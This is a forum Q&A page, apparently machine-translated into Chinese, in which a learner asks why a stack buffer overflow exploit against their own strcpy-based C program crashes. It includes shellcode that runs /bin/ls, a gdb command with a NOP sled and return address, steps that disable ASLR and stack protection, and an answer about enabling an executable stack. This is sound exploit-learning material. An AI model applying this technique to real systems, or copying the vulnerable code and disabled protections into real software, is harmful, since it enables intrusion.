2011-08-06 32 views
4

我想學習在Backtrack Linux上利用簡單的bufferover流技術。作業 - 不能利用bufferoverflow

這裏是我的C程序

#include <stdio.h> 
#include <string.h> 

int main(int argc, char **argv) 
{ 
    char buffer[500]; 
    if(argc==2) 
    { 

    strcpy(buffer, argv[1]); //vulnerable function 

    } 

    return 0; 
} 

這是我使用的shellcode,相當於簡單/bin/ls \ X31 \ XC0 \ X83 \ XEC \ X01 \ X88 \ X04 \ X24 \ X68 \ x6e \ X2F \ X6C \ X73 \ X66 \ X68 \ X62 \ X69 \ X83 \ XEC \ X01 \ XC6 \ X04 \ X24 \ X2F \ X89 \ XE6 \ X50 \ X56 \ XB0 \ X0B \ X89 \ XF3 \ X89 \ XE1 \ X31 \ XD2 \ XCD \ X80 \ XB0 \ X01 \ X31 \ XDB \ XCD \ X80

我使用下面的命令注入此的shellcode在gdb

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35') 

當我逐步完成應用程序時,它會在最終的ret指令上生成SIG FAULT。此時EIP正確設置爲0xffffd30c。這個地址是可尋址的,幷包含一系列NOP,後面跟着我的shell代碼,如有效載荷中所示。

我已經禁用了ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space

,並編譯了一個二進制使用fno-stack-protector選項。

任何想法什麼是SIGSEGV的原因?

+0

你能後的GDB輸出?額外的眼睛可能有助於抓住一些東西 – pepsi

+0

@pepsi:我發現問題,堆棧區域是不可執行的,我已經使用gcc啓用它 –

+0

每個人都再次在同一個項目上工作? http://stackoverflow.com/questions/6962770/shellcodes-not-working –

回答

5

我已經回答了我自己的問題,這個問題是「可執行堆棧保護」,在堆內存中無法執行。這可以在GCC被禁用如下

gcc -z execstack